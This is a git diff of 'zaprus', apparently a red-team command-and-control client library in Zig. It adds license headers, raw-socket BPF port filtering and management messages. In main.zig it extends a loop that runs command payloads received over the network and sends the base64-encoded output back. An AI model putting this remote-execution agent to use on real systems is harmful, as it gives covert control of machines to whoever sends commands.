io_source.interface(); log.debug("Sending connection message", .{}); + self.connection.connection.options = options; self.connection.connection.payload = buf; var connection_bytes_buf: [2048]u8 = undefined; const connection_bytes = self.connection.toBytes(&connection_bytes_buf); diff --git a/src/EthIpUdp.zig b/src/EthIpUdp.zig index 27fc611..251ed64 100644 --- a/src/EthIpUdp.zig +++ b/src/EthIpUdp.zig @@ -1,3 +1,19 @@ +// Copyright 2026 Robby Zambito +// +// This file is part of zaprus. +// +// Zaprus is free software: you can redistribute it and/or modify it under the +// terms of the GNU General Public License as published by the Free Software +// Foundation, either version 3 of the License, or (at your option) any later +// version. +// +// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY +// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +// A PARTICULAR PURPOSE. See the GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License along with +// Zaprus. If not, see . + pub const EthIpUdp = packed struct(u336) { // 42 bytes * 8 bits = 336 // --- UDP (Last in memory, defined first for LSB->MSB) --- udp: packed struct { diff --git a/src/RawSocket.zig b/src/RawSocket.zig index 71b4e1c..9561dcf 100644 --- a/src/RawSocket.zig +++ b/src/RawSocket.zig @@ -1,3 +1,19 @@ +// Copyright 2026 Robby Zambito +// +// This file is part of zaprus. +// +// Zaprus is free software: you can redistribute it and/or modify it under the +// terms of the GNU General Public License as published by the Free Software +// Foundation, either version 3 of the License, or (at your option) any later +// version. +// +// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY +// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +// A PARTICULAR PURPOSE. See the GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License along with +// Zaprus. If not, see . + const RawSocket = @This(); const is_debug = builtin.mode == .Debug; @@ -16,7 +32,12 @@ const Ifconf = extern struct { }, }; -pub fn init() !RawSocket { +pub fn init() error{ + SocketError, + NicError, + NoInterfaceFound, + BindError, +}!RawSocket { const socket: i32 = std.math.cast(i32, std.os.linux.socket(std.os.linux.AF.PACKET, std.os.linux.SOCK.RAW, 0)) orelse return error.SocketError; if (socket < 0) return error.SocketError; @@ -117,7 +138,7 @@ pub fn receive(self: RawSocket, buf: []u8) ![]u8 { return buf[0..len]; } -pub fn attachSaprusPortFilter(self: RawSocket, port: u16) !void { +pub fn attachSaprusPortFilter(self: RawSocket, incoming_src_port: ?u16, incoming_dest_port: u16) !void { const BPF = std.os.linux.BPF; // BPF instruction structure for classic BPF const SockFilter = extern struct { @@ -133,11 +154,26 @@ pub fn attachSaprusPortFilter(self: RawSocket, port: u16) !void { }; // Build the filter program - const filter = [_]SockFilter{ + const filter = if (incoming_src_port) |inc_src| &[_]SockFilter{ // Load 2 bytes at offset 46 (absolute) .{ .code = BPF.LD | BPF.H | BPF.ABS, .jt = 0, .jf = 0, .k = 46 }, + // Jump if equal to port (skip 1 if true, skip 0 if false) + .{ .code = BPF.JMP | BPF.JEQ | BPF.K, .jt = 1, .jf = 0, .k = @as(u32, inc_src) }, + // Return 0x0 (fail) + .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0x0 }, + // Load 2 bytes at offset 48 (absolute) + .{ .code = BPF.LD | BPF.H | BPF.ABS, .jt = 0, .jf = 0, .k = 48 }, // Jump if equal to port (skip 0 if true, skip 1 if false) - .{ .code = BPF.JMP | BPF.JEQ | BPF.K, .jt = 0, .jf = 1, .k = @as(u32, port) }, + .{ .code = BPF.JMP | BPF.JEQ | BPF.K, .jt = 0, .jf = 1, .k = @as(u32, incoming_dest_port) }, + // Return 0xffff (pass) + .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0xffff }, + // Return 0x0 (fail) + .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0x0 }, + } else &[_]SockFilter{ + // Load 2 bytes at offset 48 (absolute) + .{ .code = BPF.LD | BPF.H | BPF.ABS, .jt = 0, .jf = 0, .k = 48 }, + // Jump if equal to port (skip 0 if true, skip 1 if false) + .{ .code = BPF.JMP | BPF.JEQ | BPF.K, .jt = 0, .jf = 1, .k = @as(u32, incoming_dest_port) }, // Return 0xffff (pass) .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0xffff }, // Return 0x0 (fail) @@ -145,8 +181,8 @@ pub fn attachSaprusPortFilter(self: RawSocket, port: u16) !void { }; const fprog = SockFprog{ - .len = filter.len, - .filter = &filter, + .len = @intCast(filter.len), + .filter = filter.ptr, }; // Attach filter to socket using setsockopt diff --git a/src/c_api.zig b/src/c_api.zig index 964f399..c2f3190 100644 --- a/src/c_api.zig +++ b/src/c_api.zig @@ -1,3 +1,19 @@ +// Copyright 2026 Robby Zambito +// +// This file is part of zaprus. +// +// Zaprus is free software: you can redistribute it and/or modify it under the +// terms of the GNU General Public License as published by the Free Software +// Foundation, either version 3 of the License, or (at your option) any later +// version. +// +// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY +// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +// A PARTICULAR PURPOSE. See the GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License along with +// Zaprus. If not, see . + const std = @import("std"); const zaprus = @import("zaprus"); @@ -83,6 +99,6 @@ export fn zaprus_connection_send( const c: ?*zaprus.Connection = @ptrCast(@alignCast(connection)); const zc = c orelse return 1; - zc.send(io, payload[0..payload_len]) catch return 1; + zc.send(io, .{}, payload[0..payload_len]) catch return 1; return 0; } diff --git a/src/main.zig b/src/main.zig index 07fe9e2..10dca33 100644 --- a/src/main.zig +++ b/src/main.zig @@ -1,3 +1,19 @@ +// Copyright 2026 Robby Zambito +// +// This file is part of zaprus. +// +// Zaprus is free software: you can redistribute it and/or modify it under the +// terms of the GNU General Public License as published by the Free Software +// Foundation, either version 3 of the License, or (at your option) any later +// version. +// +// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY +// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +// A PARTICULAR PURPOSE. See the GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License along with +// Zaprus. If not, see . + const is_debug = builtin.mode == .Debug; const help = @@ -162,7 +178,37 @@ pub fn main(init: std.process.Init) !void { .stdout = .pipe, .stderr = .ignore, .stdin = .ignore, - }) catch continue; + }) catch |err| switch (err) { + error.AccessDenied, + error.FileBusy, + error.FileNotFound, + error.FileSystem, + error.InvalidExe, + error.IsDir, + error.NotDir, + error.OutOfMemory, + error.PermissionDenied, + error.SymLinkLoop, + error.SystemResources, + => blk: { + log.debug("Trying to execute command directly: {s}", .{connection_payload}); + var argv_buf: [128][]const u8 = undefined; + var argv: ArrayList([]const u8) = .initBuffer(&argv_buf); + var payload_iter = std.mem.splitAny(u8, connection_payload, " \t\n"); + while (payload_iter.next()) |arg| argv.appendBounded(arg) catch continue; + break :blk std.process.spawn(init.io, .{ + .argv = argv.items, + .stdout = .pipe, + .stderr = .ignore, + .stdin = .ignore, + }) catch continue; + }, + error.Canceled, + error.NoDevice, + error.OperationUnsupported, + => |e| return e, + else => continue, + }; var child_output_buf: [SaprusClient.max_payload_len]u8 = undefined; var child_output_reader = child.stdout.?.reader(init.io, &child_output_buf); @@ -184,7 +230,7 @@ pub fn main(init: std.process.Init) !void { error.EndOfStream => { cmd_output.print("{b64}", .{child_output_reader.interface.buffered()}) catch unreachable; if (cmd_output.end > 0) { - connection.send(init.io, cmd_output.buffered()) catch |e| { + connection.send(init.io, .{}, cmd_output.buffered()) catch |e| { log.debug("Failed to send connection chunk: {t}", .{e}); continue :next_message; }; @@ -193,7 +239,7 @@ pub fn main(init: std.process.Init) !void { }, }; cmd_output.print("{b64}", .{try child_output_reader.interface.takeArray(child_output_buf.len)}) catch unreachable; - connection.send(init.io, cmd_output.buffered()) catch |err| { + connection.send(init.io, .{}, cmd_output.buffered()) catch |err| { log.debug("Failed to send connection chunk: {t}", .{err}); continue :next_message; }; diff --git a/src/message.zig b/src/message.zig index d9d1914..4198737 100644 --- a/src/message.zig +++ b/src/message.zig @@ -1,205 +1,232 @@ -pub const MessageTypeError = error{ - NotImplementedSaprusType, - UnknownSaprusType, -}; -pub const MessageParseError = MessageTypeError || error{ - InvalidMessage, -}; - -const message = @This(); +// Copyright 2026 Robby Zambito +// +// This file is part of zaprus. +// +// Zaprus is free software: you can redistribute it and/or modify it under the +// terms of the GNU General Public License as published by the Free Software +// Foundation, either version 3 of the License, or (at your option) any later +// version. +// +// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY +// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +// A PARTICULAR PURPOSE. See the GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License along with +// Zaprus. If not, see . pub const Message = union(enum(u16)) { relay: Message.Relay = 0x003C, connection: Message.Connection = 0x00E9, _, - pub const Relay = message.Relay; - pub const Connection = message.Connection; + pub const Relay = struct { + dest: Dest, + checksum: [2]u8 = undefined, + payload: []const u8, - pub fn toBytes(self: message.Message, buf: []u8) []u8 { + pub const Dest = struct { + bytes: [relay_dest_len]u8, + + /// Asserts bytes is less than or equal to 4 bytes + pub fn fromBytes(bytes: []const u8) Dest { + var buf: [4]u8 = @splat(0); + std.debug.assert(bytes.len <= buf.len); + @memcpy(buf[0..bytes.len], bytes); + return .{ .bytes = buf }; + } + }; + + /// Asserts that buf is large enough to fit the relay message. + pub fn toBytes(self: Relay, buf: []u8) []u8 { + var out: Writer = .fixed(buf); + out.writeInt(u16, @intFromEnum(Message.relay), .big) catch unreachable; + out.writeInt(u16, @intCast(self.payload.len + 4), .big) catch unreachable; // Length field, but unread. Will switch to checksum + out.writeAll(&self.dest.bytes) catch unreachable; + out.writeAll(self.payload) catch unreachable; + return out.buffered(); + } + + // test toBytes { + // var buf: [1024]u8 = undefined; + // const relay: Relay = .init( + // .fromBytes(&.{ 172, 18, 1, 30 }), + // // zig fmt: off + // &[_]u8{ + // 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65, + // 0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64 + // }, + // // zig fmt: on + // ); + // // zig fmt: off + // var expected = [_]u8{ + // 0x00, 0x3c, 0x00, 0x17, 0xac, 0x12, 0x01, 0x1e, 0x72, + // 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65, + // 0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64 + // }; + // // zig fmt: on + // try expectEqualMessageBuffers(&expected, relay.toBytes(&buf)); + // } + }; + + pub const Connection = struct { + src: u16, + dest: u16, + seq: u32, + id: u32, + reserved: u8 = undefined, + options: Options = .{}, + payload: []const u8, + + /// Option values. + /// Currently used! + pub const Options = packed struct(u8) { + opt1: bool = false, + opt2: bool = false, + opt3: bool = false, + opt4: bool = false, + opt5: bool = false, + opt6: bool = false, + opt7: bool = false, + management: bool = false, + }; + + /// Asserts that buf is large enough to fit the connection message. + pub fn toBytes(self: Connection, buf: []u8) []u8 { + var out: Writer = .fixed(buf); + out.writeInt(u16, @intFromEnum(Message.connection), .big) catch unreachable; + out.writeInt(u16, @intCast(self.payload.len + 14), .big) catch unreachable; // Saprus length field, unread. + out.writeInt(u16, self.src, .big) catch unreachable; + out.writeInt(u16, self.dest, .big) catch unreachable; + out.writeInt(u32, self.seq, .big) catch unreachable; + out.writeInt(u32, self.id, .big) catch unreachable; + out.writeByte(self.reserved) catch unreachable; + out.writeStruct(self.options, .big) catch unreachable; + out.writeAll(self.payload) catch unreachable; + return out.buffered(); + } + + /// If the current message is a management message, return what kind. + /// Else return null. + pub fn management(self: Connection) ParseError!?Management { + const b64_dec = std.base64.standard.Decoder; + if (self.options.management) { + var buf: [1]u8 = undefined; + _ = b64_dec.decode(&buf, self.payload) catch return error.InvalidMessage; + + return switch (buf[0]) { + 'P' => .ping, + 'p' => .pong, + else => error.UnknownSaprusType, + }; + } + return null; + } + + pub const Management = enum { + ping, + pong, + }; + }; + + pub fn toBytes(self: Message, buf: []u8) []u8 { return switch (self) { inline .relay, .connection => |m| m.toBytes(buf), else => unreachable, }; } - pub const parse = message.parse; -}; - -pub const relay_dest_len = 4; - -pub fn parse(bytes: []const u8) MessageParseError!Message { - var in: Reader = .fixed(bytes); - const @"type" = in.takeEnum(std.meta.Tag(Message), .big) catch |err| switch (err) { - error.InvalidEnumTag => return error.UnknownSaprusType, - else => return error.InvalidMessage, - }; - const checksum = in.takeArray(2) catch return error.InvalidMessage; - switch (@"type") { - .relay => { - const dest: Relay.Dest = .fromBytes( - in.takeArray(relay_dest_len) catch return error.InvalidMessage, - ); - const payload = in.buffered(); - return .{ - .relay = .{ - .dest = dest, - .checksum = checksum.*, - .payload = payload, - }, - }; - }, - .connection => { - const src = in.takeInt(u16, .big) catch return error.InvalidMessage; - const dest = in.takeInt(u16, .big) catch return error.InvalidMessage; - const seq = in.takeInt(u32, .big) catch return error.InvalidMessage; - const id = in.takeInt(u32, .big) catch return error.InvalidMessage; - const reserved = in.takeByte() catch return error.InvalidMessage; - const options = in.takeStruct(Connection.Options, .big) catch return error.InvalidMessage; - const payload = in.buffered(); - return .{ - .connection = .{ - .src = src, - .dest = dest, - .seq = seq, - .id = id, - .reserved = reserved, - .options = options, - .payload = payload, - }, - }; - }, - else => return error.NotImplementedSaprusType, - } -} - -test parse { - _ = try parse(&[_]u8{ 0x00, 0x3c, 0x00, 0x17, 0xac, 0x12, 0x01, 0x1e, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65, 0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64 }); - - { - const expected: Message = .{ - .connection = .{ - .src = 12416, - .dest = 61680, - .seq = 0, - .id = 0, - .reserved = 0, - .options = @bitCast(@as(u8, 100)), - .payload = &[_]u8{ 0x69, 0x61, 0x6d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74 }, - }, + pub fn parse(bytes: []const u8) ParseError!Message { + var in: Reader = .fixed(bytes); + const @"type" = in.takeEnum(std.meta.Tag(Message), .big) catch |err| switch (err) { + error.InvalidEnumTag => return error.UnknownSaprusType, + else => return error.InvalidMessage, }; - const actual = try parse(&[_]u8{ 0x00, 0xe9, 0x00, 0x18, 0x30, 0x80, 0xf0, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x69, 0x61, 0x6d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74 }); - - try std.testing.expectEqualDeep(expected, actual); - } -} - -const Relay = struct { - dest: Dest, - checksum: [2]u8 = undefined, - payload: []const u8, - - pub const Dest = struct { - bytes: [relay_dest_len]u8, - - /// Asserts bytes is less than or equal to 4 bytes - pub fn fromBytes(bytes: []const u8) Dest { - var buf: [4]u8 = @splat(0); - std.debug.assert(bytes.len <= buf.len); - @memcpy(buf[0..bytes.len], bytes); - return .{ .bytes = buf }; + const checksum = in.takeArray(2) catch return error.InvalidMessage; + switch (@"type") { + .relay => { + const dest: Relay.Dest = .fromBytes( + in.takeArray(relay_dest_len) catch return error.InvalidMessage, + ); + const payload = in.buffered(); + return .{ + .relay = .{ + .dest = dest, + .checksum = checksum.*, + .payload = payload, + }, + }; + }, + .connection => { + const src = in.takeInt(u16, .big) catch return error.InvalidMessage; + const dest = in.takeInt(u16, .big) catch return error.InvalidMessage; + const seq = in.takeInt(u32, .big) catch return error.InvalidMessage; + const id = in.takeInt(u32, .big) catch return error.InvalidMessage; + const reserved = in.takeByte() catch return error.InvalidMessage; + const options = in.takeStruct(Connection.Options, .big) catch return error.InvalidMessage; + const payload = in.buffered(); + return .{ + .connection = .{ + .src = src, + .dest = dest, + .seq = seq, + .id = id, + .reserved = reserved, + .options = options, + .payload = payload, + }, + }; + }, + else => return error.NotImplementedSaprusType, } + } + + test parse { + _ = try parse(&[_]u8{ 0x00, 0x3c, 0x00, 0x17, 0xac, 0x12, 0x01, 0x1e, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65, 0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64 }); + + { + const expected: Message = .{ + .connection = .{ + .src = 12416, + .dest = 61680, + .seq = 0, + .id = 0, + .reserved = 0, + .options = @bitCast(@as(u8, 100)), + .payload = &[_]u8{ 0x69, 0x61, 0x6d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74 }, + }, + }; + const actual = try parse(&[_]u8{ 0x00, 0xe9, 0x00, 0x18, 0x30, 0x80, 0xf0, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x69, 0x61, 0x6d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74 }); + + try std.testing.expectEqualDeep(expected, actual); + } + } + + test "Round trip" { + { + const expected = [_]u8{ 0x0, 0xe9, 0x0, 0x15, 0x30, 0x80, 0xf0, 0xf0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x64, 0x36, 0x3a, 0x3a, 0x64, 0x61, 0x74, 0x61 }; + const msg = (try parse(&expected)).connection; + var res_buf: [expected.len + 1]u8 = undefined; // + 1 to test subslice result. + const res = msg.toBytes(&res_buf); + try expectEqualMessageBuffers(&expected, res); + } + } + + // Skip checking the length / checksum, because that is undefined. + fn expectEqualMessageBuffers(expected: []const u8, actual: []const u8) !void { + try std.testing.expectEqualSlices(u8, expected[0..2], actual[0..2]); + try std.testing.expectEqualSlices(u8, expected[4..], actual[4..]); + } + + pub const TypeError = error{ + NotImplementedSaprusType, + UnknownSaprusType, + }; + pub const ParseError = TypeError || error{ + InvalidMessage, }; - - pub fn init(dest: Dest, payload: []const u8) Relay { - return .{ .dest = dest, .payload = payload }; - } - - /// Asserts that buf is large enough to fit the relay message. - pub fn toBytes(self: Relay, buf: []u8) []u8 { - var out: Writer = .fixed(buf); - out.writeInt(u16, @intFromEnum(Message.relay), .big) catch unreachable; - out.writeInt(u16, @intCast(self.payload.len + 4), .big) catch unreachable; // Length field, but unread. Will switch to checksum - out.writeAll(&self.dest.bytes) catch unreachable; - out.writeAll(self.payload) catch unreachable; - return out.buffered(); - } - - test toBytes { - var buf: [1024]u8 = undefined; - const relay: Relay = .init( - .fromBytes(&.{ 172, 18, 1, 30 }), - // zig fmt: off - &[_]u8{ - 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65, - 0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64 - }, - // zig fmt: on - ); - // zig fmt: off - var expected = [_]u8{ - 0x00, 0x3c, 0x00, 0x17, 0xac, 0x12, 0x01, 0x1e, 0x72, - 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65, - 0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64 - }; - // zig fmt: on - try expectEqualMessageBuffers(&expected, relay.toBytes(&buf)); - } }; -const Connection = struct { - src: u16, - dest: u16, - seq: u32, - id: u32, - reserved: u8 = undefined, - options: Options = undefined, - payload: []const u8, - - /// Reserved option values. - /// Currently unused. - pub const Options = packed struct(u8) { - opt1: bool = false, - opt2: bool = false, - opt3: bool = false, - opt4: bool = false, - opt5: bool = false, - opt6: bool = false, - opt7: bool = false, - opt8: bool = false, - }; - - /// Asserts that buf is large enough to fit the connection message. - pub fn toBytes(self: Connection, buf: []u8) []u8 { - var out: Writer = .fixed(buf); - out.writeInt(u16, @intFromEnum(Message.connection), .big) catch unreachable; - out.writeInt(u16, @intCast(self.payload.len + 14), .big) catch unreachable; // Saprus length field, unread. - out.writeInt(u16, self.src, .big) catch unreachable; - out.writeInt(u16, self.dest, .big) catch unreachable; - out.writeInt(u32, self.seq, .big) catch unreachable; - out.writeInt(u32, self.id, .big) catch unreachable; - out.writeByte(self.reserved) catch unreachable; - out.writeStruct(self.options, .big) catch unreachable; - out.writeAll(self.payload) catch unreachable; - return out.buffered(); - } -}; - -test "Round trip" { - { - const expected = [_]u8{ 0x0, 0xe9, 0x0, 0x15, 0x30, 0x80, 0xf0, 0xf0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x64, 0x36, 0x3a, 0x3a, 0x64, 0x61, 0x74, 0x61 }; - const msg = (try parse(&expected)).connection; - var res_buf: [expected.len + 1]u8 = undefined; // + 1 to test subslice result. - const res = msg.toBytes(&res_buf); - try expectEqualMessageBuffers(&expected, res); - } -} - -// Skip checking the length / checksum, because that is undefined. -fn expectEqualMessageBuffers(expected: []const u8, actual: []const u8) !void { - try std.testing.expectEqualSlices(u8, expected[0..2], actual[0..2]); - try std.testing.expectEqualSlices(u8, expected[4..], actual[4..]); -} +const relay_dest_len = 4; const std = @import("std"); const Allocator = std.mem.Allocator; @@ -207,5 +234,5 @@ const Writer = std.Io.Writer; const Reader = std.Io.Reader; test { - std.testing.refAllDeclsRecursive(@This()); + std.testing.refAllDecls(@This()); } diff --git a/src/root.zig b/src/root.zig index f7efb7b..2a847fc 100644 --- a/src/root.zig +++ b/src/root.zig @@ -1,12 +1,29 @@ +// Copyright 2026 Robby Zambito +// +// This file is part of zaprus. +// +// Zaprus is free software: you can redistribute it and/or modify it under the +// terms of the GNU General Public License as published by the Free Software +// Foundation, either version 3 of the License, or (at your option) any later +// version. +// +// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY +// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +// A PARTICULAR PURPOSE. See the GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License along with +// Zaprus. If not, see . + +//! The Zaprus library is useful for implementing clients that interact with the [Saprus Protocol](https://gitlab.com/c2-games/red-team/saprus). +//! +//! The main entrypoint into this library is the `Client` type. +//! It can be used to send fire and forget messages, and establish persistent connections. +//! It is up to the consumer of this library to handle non-management message payloads. +//! The library handles management messages automatically (right now, just ping). + pub const Client = @import("Client.zig"); pub const Connection = @import("Connection.zig"); - -const msg = @import("message.zig"); - -pub const PacketType = msg.PacketType; -pub const MessageTypeError = msg.MessageTypeError; -pub const MessageParseError = msg.MessageParseError; -pub const Message = msg.Message; +pub const Message = @import("message.zig").Message; test { @import("std").testing.refAllDecls(@This());